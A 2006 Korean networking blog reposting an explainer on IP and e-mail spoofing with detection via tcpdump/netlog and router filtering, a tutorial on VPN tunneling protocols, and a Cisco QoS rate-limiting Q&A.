클라이언트를 스푸핑하는 간단한 방법은 클라이언트의 시스템이 종료할 때까지 기다리고, 클라이언트의 시스템을 흉내 내는 것이다. 많은 조직과 스태프 멤버는 개인용 컴퓨터와 TCP/IP 소프트웨어를 사용해서 연결하고, 유닉스 호스트를 LAN 서버로 활용한다. 개인용 컴퓨터는 종종 유닉스의 네트워크 파일 시스템(NFS)을 사용해서 서버 디렉토리와 파일(NFS는 IP주소만을 사용해서 클라이언트를 확인한다.)에 액세스한다. 해커는 진짜 클라이언트인 체해서 개인용 호스트에의 연결을 초기화한다. 해커는 이 스푸핑 공격을 쉽게 행할 수 있다. 게다가, 내부 사람만이 보호된 네트워크 내의 종료된 컴퓨터가 어떤 것인지 알 것이기 때문이 공격은 아마 "내부"공격이라고 알려질 것이다.

E-mail 스푸핑
인터넷상의 e-mail은 특히 속이기가 쉽다. 그리고 여러분은 일반적으로 디지털 서명과 같은 것이 없으면 e-mail을 신뢰하지 못할 것이다. 간단한 예로, 인터넷 호스트가 메일을 교환할 때의 교환을 생각해 보라. 교환은 ASCII문자 명령어를 사용하는 간단한 프로토콜을 사용해서 일어난다. 침입자는 텔넷을 사용해서 간단하게 수동으로 이 명령문을 입력해서 시스템의 SMTP 포트로 직접 연결할 수 있다. 받는 호스트는 보내는 호스트의 id를 신뢰하기 때문에 해커는 해커의 원래 주소와 다른 보내는 주소를 입력함으로써 간단히 메일의 근원지를 속일 수 있다. 결과적으로 특권이 없이도 아무 사용자나 간단히 e-mail을 속일 수 있다.

스푸풍 검출하기
비동기화 공격과는 달리, IP 스푸핑 공격은 검출해내기 힘들다. 만약 여러분의 사이트가 인터넷 라우터의 외부 인터페이스의 네트워크 트래픽을 모니터할 수 있는 기능이 있다면 여러분은 라우터를 통해 들어오는 트래픽을 검사할 수 있다. 여러분이 트래픽을 검사할 때 시스템 로그(Log)에 트래픽의 기록을 남겨야 한다. 검사(audit)기록을 사용해서 여러분의 지역 도메인에 포함된 목적지 주소와 소스 주소를 가지고 있는 패킷을 검사할 수 있다. 여러분은 인터넷에서 여러분의 네트워크로 들어오는 목적이 주소와 내부의 소스를 담고 있는 패킷을 결코 찾을 수 없을 것이다. 여러분의 라우터를 통과하는 주소를 담고 있는 패킷을 발견하면 이것은 IP 속이기 공격이 진행 중이라는 것을 나타내는 확률이 높다.

anidia_blue.gif tcpdump와 netlog를 사용해서 스푸핑에 대항하기
무료 소프트웨어인 tcpdump와 netlog는 유닉스 시스템의 패킷 모니터링을 하는 것을 도와준다.
여러분은 tcpump를 ftp.ee.lbl.govhr의 /tcpdump.tar.Z에서 다운로드 받을 수 있다.(tcpump의 MD5 체크섬은 4D8975B18CAD40851F382DDFC9BD638F이다.). 여러분이 tcpdump패키지를 설치한 후 다음에 다음의 명령 행 지시를 따라서 domain.name 네트워크 소스와 데스티네이션 IP주소를 가지고 있다고 tcpdump가 지정하는 모든 패킷을 출력한다.

#tcpdump src net domain.name(Enter)
#tcpdump dst net domain.name(Enter)
추가적으로 여러분은 텍사스 A&M 대학에서 개발된 netlog 패키지를 coast.cs.purdue.edu의 파일 /pub/tools/unix/TAMU/netlog-1.2.tar.gz에서 다운로드 받을 수 있다.(MD5 체크섬은 1DD62E7E96192456E9C75047C38E994B이다.) 여러분이 netlog를 설치한 다음에 다음의 명령어로 netlog를 호출한다.
#tcplogger -b | extract -U -e 'srcnet=X.Y.O.O {print}' <Enter>
Tcplogger 명령문은 netlog에게 같은 네트워크 내에 소스와 데스티네이션 주소를 가지고 있는 패킷을 검색한다. Tcplogger를 실행시킨 다음에 netlog는 소스와 데스티네이션 범쥐의 패킷을 리턴할 것이다.
스푸핑 방지하기
이미 제시했듯이 스푸핑 된 패킷 내의 양 주소는 종종 여러분의 네트워크의 내부 주소와 일치한다. IP 스푸핑 공격의 가장 최고의 방어는 여러분의 지역 도메인에서 출발했다고 주장하는 패킷을 걸러내도록 라우터에 입력하는 것이다. 몇몇개의 라우터 회사는 입력 필터(input filter)로 알려진 다음의 패킷 필터링 기능을 지원한다.
  • Bay Networks/Wekfleet, 버전 5 이후
  • Cabletron
  • Cisco, RIS 소프트웨어 버전 9.21 이후
  • Livingston

현재 라우터 하드웨어가 패킷 필터링을 지원하지 않으면 여러분은 현재의 라우터와 인터넷 연결 사이에 두 번째 루우터를 설치해도 된다. 두 번째 라우터를 사용해서 스푸핑된 IP 패킷을 걸러 낼 수 있다.

Reference : http://elyjinni.com.ne.kr/hacking/ipspoofing.htm

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:25

VPN은 공중 네트워크를 사설 네트워크화해 사용함으로써, 비용 절감과 보안성의 두 마리 토끼를 잡을 수 있는 기술이다. 이같은 강점으로 인해 이미 많은 기업에서 도입하고 있으며, ISP에서도 VPN 서비스를 소개하며 서비스 시장에서 당당히 한자리를 차지하고 있다. 이번 강좌에서는 VPN의 구성요소와 발전 과정을 알아본다.

출처 - http://www.ionthenet.co.kr


김영미 기자

VPN(Virtual Private Network)은 공중 네트워크를 사설 네트워크처럼 사용할 수 있는, 인증과 데이터 암호화를 이용해 보안을 강화한 기술이다. VPN을 정확히 이해하기 위해 우선 사설 네트워크와 공중 네트워크의 차이점이 무엇인지 짚어보자. 사설 네트워크는 한 집단의 목적에 의해 만든 자체 네트워크로, 은행에서 구축한 본점과 지점간의 전용회선을 예로 들 수 있다. 이 전용회선은 은행 고객 정보를 교환하기 위해 물리적으로 폐쇄된 회선을 이용해, 네트워크 장비를 자체적으로 구축한다. 전용회선을 이용한 사설 네트워크는 보안성을 높이기 위한 최선의 방법이지만, 투자비가 많이 들고 운영 관리도 별도로 해야 하는 단점이 있다. 이와는 달리 공중 네트워크는 전화 통신처럼 모든 이에게 빌려주고 공개되는 것으로, ADSL, ISDN, 다이얼업 모뎀 등이 있다. 이용료는 저렴하지만 회선의 신뢰도, 보안성 등이 사설 네트워크보다 떨어지는 것이 사실이다. 
VPN은 공중 네트워크인 ADSL, ISDN, 다이얼 업 등의 방법으로 인터넷에 접속하고, VPN을 이용해 회사내의 사설 네트워크처럼 폐쇄적인 네트워크를 구성해 회사 내의 중요한 정보를 주고 받는다는 것이다. 인터넷을 이용해 VPN을 구성하면 인터넷 회선과 사설 회선을 별도로 구성해야 하는 번거로움이 사라질 뿐 아니라 전용회선을 도입하는 비용도 아낄 수 있다. 
따라서 대리점, 협력업체 간의 대금 지불, 구매, 발주 정보 등의 정보를 확인하는 익스트라넷(extranet)이 인터넷으로만 구성돼 있다면 VPN을 이용해서 보안성을 높일 수 있다. 부서원이 출장, 교육, 재택 근무를 할 때 집에서 개인적으로 ADSL, 케이블 모뎀, 다이얼업 모뎀 등으로 회사내의 게시판 정보나 급여 등을 인터넷을 통해 안전하게 볼 수 있다는 장점이 있다. 또한 VPN을 이용하면 지방이나 해외 지점에서 비싼 국제 전용 회선이 아닌 인터넷 회선을 이용해 본사 서버에 있는 게시판 등의 정보를 볼 수 있다.


(그림 1) VPN 적용 전과 적용 후 네트워크 구성



OSI 계층별로 다른 VPN 프로토콜
공중 네트워크를 사설 네트워크처럼 사용할 수 있게 하는 핵심적인 기술은 터널링(tunneling)이다. 터널링 과정은 연결하고자 하는 두 지점 간에 가상 터널을 형성해, 외부로부터 영향을 받지 않은 상황에서 정보를 주고 받는 것이다. 
터널링의 핵심은 OSI 7계층 중 어느 계층에서 터널링을 수행하는가와 어느 구간까지 터널을 구성하는가이다. 최종 사용자와 백본까지 엔드 투 엔드로 터널을 뚫을 것인가, 아니면 백본과 가입자 앞단의 VPN 게이트웨이나 라우터까지만 터널을 구성할 것인가 등을 고려해야 한다. 터널링하는 방법에는 크게 2계층과 3계층 터널링이 있는데, OSI 2계층에서 동작하는 방식으로는 PPTP(Point-to-Point Tunneling Protocol), L2TP(Layer 2 Tunneling Protocol)가 있고, OSI 3계층에서 동작하는 방식으로는 IPSec을 들 수 있다(표 1).
PPTP(Point-to-Point Tunneling Protocol)는 PPP의 확장 개발된 프로토콜로, 인터넷을 통한 새로운 수준의 강화된 보안과 멀티 프로토콜 통신 기능이 추가됐다. 인터넷 프로토콜인 TCP/IP를 그대로 이용하면서도 외부인은 접근할 수 없는 별도의 VPN을 운용할 수 있는 프로토콜이다. 특히 PPTP 기반의 VPN을 통한 데이터 전송은 새로운 EAP(Extensible Authentication Protocol)를 사용하기 때문에 단일 LAN 내의 회사 사이트에서 데이터를 전송하는 것만큼이나 안전성을 보장한다. VPN 서버는 모든 보안 검사와 유효성 검사를 수행하고 데이터를 암호화해, 보안되지 않는 네트워크를 통해 가상 터널을 생성해서 보다 안전하게 전송할 수 있다. PPTP에서는 전화 접속 연결이 필요하지 않다. 그러나 컴퓨터와 서버가 IP로 연결돼 있어야 한다. IP LAN에 직접 연결돼 있으면서 서버와 접속할 수 있으면 LAN을 통한 PPTP 터널을 설정할 수 있다. 그러나 인터넷을 통해 터널을 만드는 중이고 일반적으로 ISP와의 전화 접속을 통해 인터넷에 액세스하는 경우 터널을 설정하기 전에 전화 접속으로 인터넷에 연결해야 한다.
L2TP(Layer 2 Tunneling Protocol)는 마이크로소프트의 PPTP와 시스코의 L2F(Layer 2 Forwarding) 프로토콜이 결합돼 IETF가 산업 표준으로 제정한 터널링 프로토콜이다. 현재 L2TP v3는 L2TP를 확장해 일부 새로운 서비스 모델을 포함시켰다. LT2P는 IP, IPX, NetBEUI 트랙픽을 암호화한 다음, IP 헤더로 캡슐화해 전송한다. PPP에서 제공되는 데이터 암호화 기법을 사용할 수도 있고 IPSec에 의해 제공되는 데이터 암호화 기법을 사용할 수 있는데, 이것을 L2TP/IPSec라고 한다. L2TP와 IPSec의 결합 형태에서 연결은 DES(Data Encryption Standard) 알고리즘을 사용하는데, 이 알고리즘은 DES에 대해 하나의 56비트 키를, 3DES에 대해 세 개의 56비트 키를 사용한다. L2TP/IPSec 연결은 두 가지 수준의 인증을 요구한다. IPSec SA(보안 연결)를 작성해 L2TP 캡슐화 데이터를 보호하기 위해 L2TP/IPSec 클라이언트는 인증서나 미리 공유된 키를 사용해 컴퓨터측에서 인증을 수행한다. IPSec SA가 성공적으로 작성되면 연결의 L2TP 부분에서 PPTP와 동일한 사용자측에서 인증을 수행한다.


(표 1) 터널링 프로토콜의 종류

(그림 2) 터널링 구현 과정


IPSec으로 집중되는 VPN
VPN에서 가장 많이 사용되는 프로토콜은 IPSec(Internet Protocol Security)이다. 이전의 보안 기법들은 보안 프로토콜이 통신 모델의 애플리케이션 계층에 삽입됐다면 IPSec은 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 AH(Authentication Header)와 송신자의 인증과 데이터 암호화를 함께 지원하는 ESP(Encapsulating Security Payload), 키교환을 위한 IKE 등을 이용해 보안 서비스를 제공한다. 즉 터널로 들어가기 전의 IP 패킷은 IP 헤더와 페이로드(payload)로 구성된다. 터널로 들어가면 AH가 추가돼 캘슐화되는 것이다. 다음으로 ESP 헤더가 삽입되면서 IP 패킷을 암호화한다.
AH는 MD5 또는 HMAC 알고리즘을 사용해 인증을 처리한다. ESP는 DES, RC5 등의 암호화 알고리즘을 사용해 데이터를 암호화한다. IKE 키관리 절차에서는 ISAKMP/Oakley 프로토콜과 같은 별개의 키 프로토콜을 선택할 수 있다. 이같은 각 서비스에 관련된 명확한 정보는 IP 패킷 헤더의 뒤를 잇는, 헤더 속의 패킷에 삽입된다. AH가 무결성을 보장한다면 ESP는 보안성을 보장한다.
그리고 IPSec으로 전송시 트랜스포트 모드(Transport Mode)와 터널 모드(Tunnel Mode)를 지원한다. 트랜스포트 모드는 IP 헤더와 페이로드 사이에 AH 헤더가 삽입돼 IP 헤더의 일부, AH 헤더, IP 페이로드를 인증하는데, 이 방식은 호스트에서 구현할 수 있다. 터널링 모드는 IP 헤더와 페이로드 앞에 새로운 IP 헤더를 붙여서 IP 헤더의 일부, AH 헤더, 원본 IP 헤더, IP 페이로드를 인증한다. 이는 주로 호스트나 보안 게이트웨이에 적용할 수 있다. 트랜스포트 모드는 원본 IP 헤더의 일부분만 인증하지만, 터널 모드는 새로운 IP 헤더를 만들면서 원본 IP 헤더와 페이로드까지 인증한다. 인증 범위가 넓으니 신뢰성이 더 높아진다고 볼 수 있다.


(그림 3) AH 트랜스포트 모드 터널링 모드


분산 터널링으로 일정한 인터넷 접속 속도 유지 
그렇다면 본사와 지사를 잇는 인트라넷이 아닌 인터넷을 사용할 경우에도 터널링을 통해 접속할까. 이는 VPN 장비가 제공하는 분산 터널링(Split Tunneling) 기능에 따라 달라질 수 있다. 예를 들어 본사에서는 인터넷 회선으로 E1(2.048Mbps)을 사용하는데 인터넷을 사용할 때 속도가 평균 100Kbps라고 가정하면, 지점에서 ADSL로 1Mbps의 고속 인터넷을 사용하다가 VPN 소프트웨어를 설치해 본사와 터널링을 구성해 본사 서버와 안정적으로 통신할 수 있다.
그러나 인터넷을 사용할 때는 본사와 연결된 터널링을 빠져나갈 수 없으니 본사의 E1 인터넷 회선으로 사용할 수밖에 없다. 그렇게 되면 직원들은 인터넷 접속 속도가 늦다고 불평을 할 것이다. 그래서 필요한 것이 분산 터널링이다. 분산 터널링을 적용하지 않으면 모든 트래픽이 VPN 장비까지 연결된 터널링으로 송수신해야 되므로, 사용자들은 인터넷에 접속할 때도 본사 VPN을 경유해야 한다. 이런 경우 보안은 강화될 지 모르나 접속 속도는 굉장히 늦어진다. 하지만 분산 터널링을 적용하면 인터넷을 사용할 때는 터널링을 적용하지 않고 바로 ISP로 연결되도록 할 수 있기 때문에 인터넷 속도가 빨라진다. 


네트워크 기반의 VPN
VPN의 발전을 살펴보면, 고전적인 VPN은 OSI 7계층 모델의 2계층을 이용한 프레임 릴레이, ATM이었다. 이는 터널링 기법이 아닌 PVC나 SVC 등을 통해 VPN을 구현한 형태다. 이들은 단순 회선의 개념으로 다양한 부가 서비스와 접목할 수 없는 가장 초보적인 VPN이라고 할 수 있다.
이후 등장한 것이 L2TP, PPTP, IPSec 등 다양한 터널 기법을 기반으로 한 CPE(Customer Premise Equipment) 기반의 VPN이다. 기업들은 CPE 기반의 VPN을 가장 선호하고 있다. CPE 기반 VPN은 VPN 장비에서 전적으로 터널링이나 암호화 등을 수행하도록 하는 것으로, 파이어월에서 VPN 기능을 수용한 장비, VPN 전용 게이트웨이, 라우터에 모듈을 장착해 VPN을 수행하는 것, 소프트웨어로 VPN 기능을 하는 것 등 다양한 솔루션들이 출시돼 있다.
CPE 기반의 VPN은 단순 회선 접속 솔루션이 아니라 보안성을 감당해야 하기 때문에 암호화 강도를 높일수록 비용은 올라가고 성능은 떨어지게 된다. 따라서 각 장비 업체들은 데이터 압축 등과 같은 기술을 발전시켜 암호화를 수행하더라도 일정 수준의 성능을 유지할 수 있도록 하고 있다. 
네트워크 기반의 VPN은 쉽게 생각해 서비스 제공업체에게 장비부터 회선, 관리까지 모두 아웃소싱하는 형태를 말한다. 네트워크 기반의 VPN은 최근 등장한 것으로, CPE 기반 VPN이 발전을 거듭하면서 생겨난 형태라고 볼 수 있다. 네트워크 기반의 VPN은 CPE VPN과는 달리 네트워크에서 ISP나 통신업체들이 VPN을 구현하는 것으로, 고객 입장에서는 투자 비용을 절감할 수 있고 ISP에게는 새로운 수익원이 될 수 있다. 때문에 향후 CPE 기반 VPN 시장을 다수 잠식하면서 세력을 키워나갈 것으로 전망된다.
네트워크 기반 VPN은 MPLS 기반 2계층 VPN, BGP/MPLS VPN이나 RFC2547bis(3계층), VRM(Virtual Router Model) 등의 기법에 의해 구현할 수 있다. BGP MPLS이 논리적인 포워딩 기술에 기반하고 있다면 VRM은 물리적인 라우터에서 논리적인 라우팅을 수행하는 기술이다.


서비스 업체의 새로운 수익원 VoIP VPN
현재 대부분의 VPN은 데이터 중심의 서비스가 주류를 이루고 있지만, VoIP 기술의 향상과 실제 적용 기업의 증가로 새로운 VPN 서비스로 VoIP VPN이 주목을 받고 있다. 이는 서비스 업체에게는 새로운 수익원으로, 기업은 저렴한 비용으로 기존의 음성 관리 및 통신비를 줄일 수 있을 것으로 기대되고 있다. 더 나아가 음성뿐 아니라 향후에는 화상 전송까지 포함한 멀티 서비스 over VPN이 등장하게 될 것이다.
VoIP VPN의 기본 개념은 기존의 데이터 VPN과 같지만, 음성이 네트워크를 타고 전송된다는 것이 다르다. VoIP VPN을 적용한 기업은 지역에 관계없이 공중 IP 네트워크를 이용해 4∼5자리의 구내 번호를 이용할 수 있다.
VoIP VPN은 비싼 음성 전용회선 대신 인터넷을 이용해 데이터 뿐 아니라 음성 서비스를 제공할 수 있어, ITSP(Internet Telephony Service Provider)나 서비스 공급업체들에게는 VoIP 기반의 새로운 서비스가 될 수 있다.


웹 기반의 인프라, SSL VPN 보안성 향상 
IPSec VPN이 설치가 복잡하고 각 플랫폼별로 호환이 잘되지 않는다는 이유 때문에 최근에는 SSL(Secure Socket Layer)  VPN에 관심이 높아지고 있다. SSL은 원래 넷스케이프(Netscape)에서 암호화된 웹 브라우징을 제공하기 위해 만든 프로토콜이다. SSL은 넷스케이프 뿐만 아니라 마이크로소프트의 인터넷 익스플로러에서도 지원하게 됐고 현재 많은 웹사이트에서 SSL을 통한 암호화 기능을 제공하고 있다. SSL은 사용자 영역 프로토콜(5계층)이기 때문에 기존의 커널을 수정하지 않고 단순히 웹 브라우저만 있으면 사용할 수 있다는 장점이 있다.
만약 기존의 VPN으로 하던 일을 SSL로 할 수 있게 된다면 커널을 수정하지 않고도 이미 거의 모든 시스템에 설치돼 있는 웹 브라우저를 이용해 쉽게 VPN 작업을 사용할 수 있을 것이다. 이같은 아이디어에서 출발한 것이 SSL VPN이다.
SSL VPN은 웹 브라우저를 통해 원격지에서 회사 네트워크에 접속할 수 있도록 한다. 이름에서 알 수 있는 것처럼 SSL VPN은 SSL 프로토콜을 이용하기 때문에 기존의 네트워크 애플리케이션 SSL을 지원하지 않을 경우에는 각각을 커스터마이징해야 한다는 단점이 있다. 하지만 대부분의 사용자가 웹, 메일, SSH 등을 사용한다고 봤을 때 대부분의 SSL VPN은 이들 프로토콜을 지원하기 때문에 사용하는데 큰 불편함이 없을 것이다.


(그림 4) SSL VPN과 IPSec VPN 비교


(그림 4)에서는 IPSec VPN과 SSL VPN을 비교했다. 일단 서버측에는 IPSec VPN과 SSL VPN의 위치가 크게 다르지 않다. 다만 일반적으로 IPSec VPN은 파이어월 기능을 함께 제공하는 제품이 많이 있기 때문에 별도의 파이어월을 설치하지 않는 경우가 많고 SSL VPN은 파이어월 기능을 제공하지 않기 때문에 별도의 파이어월이 필요하다는 점이 다르다.
클라이언트의 경우 IPSec은 전용 클라이언트를 설치해야 하지만 SSL VPN은 전용 클라이언트를 설치하지 않아도 된다는 큰 차이점이 있다. 그래서 IPSec의 경우 회사의 업무용 노트북이 아니면 사용하기 어렵지만 SSL VPN의 경우 웹 브라우저가 설치된 거의 모든 PC(게임방이나 공공 PC 포함)에서 사용할 수 있다는 장점이 있다.

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:20
Q
네트워크 관리자입니다만 QoS에 관해 잘 몰라서 우선 CBWFQ로 적용해 놓았습니다. 문제는 예를 들어 전체 대역폭이 10Mbps라면 3Mbps의 대역폭을 사용자 A에게 할당하고, 나머지 7Mbps는 공유해 사용하도록 설정했을 때, 만약 사용자 A가 3Mbps의 대역폭을 모두 사용했을때, 나머지 7Mbps의 대역폭을 사용할 수 있는지 알고 싶습니다. 만약 사용할 수 있다면, 어떻게 설정해야 하는지도 궁금합니다.




A
QoS에는 여러 가지 방법이 있지만, 그 사용목적에 맞게 써야 한다고 봅니다. 먼저 CAR 프로토콜을 사용하는 QoS 폴리싱, 셰이핑과 같은 전용 대역폭을 사용하는 방식이 있으며, CBWFQ, DLLQ, FIFO, PQ 등 주로 큐잉이 사용되는 QoS 컨제스천 관리(congestion Management)와 같이 특정 트래픽에 우선권을 주는 방식이 있습니다. 따라서 트래픽이 몰리지 않는다면 큐잉은 동작할 필요가 없습니다. 트래픽마다 대역폭을 지정하기 위해서는 CAR가 보다 효율적입니다.
다음 예제에서는 AAA라는 트래픽(소스 IP가 192.168.1.3)은 3Mbps의 대역폭을 보장하고, 기본 트래픽은 7Mbps를 보장하는 QoS 적용 예제입니다.


policy-map rate_limite
  class AAA
      police 3000000 15625 15625 conform-action transmit exceed-action drop
  class default
      police 7000000 15625 15625 conform-action transmit exceed-action drop

interface fa0/1
  service-policy input rate_limite

ip access-list extended AAA
permit ip 192.168.1.3 any
ip access-list extended default
permit ip any any


답변 : 김상준(kizard@freechal.com)

Posted by theYoungman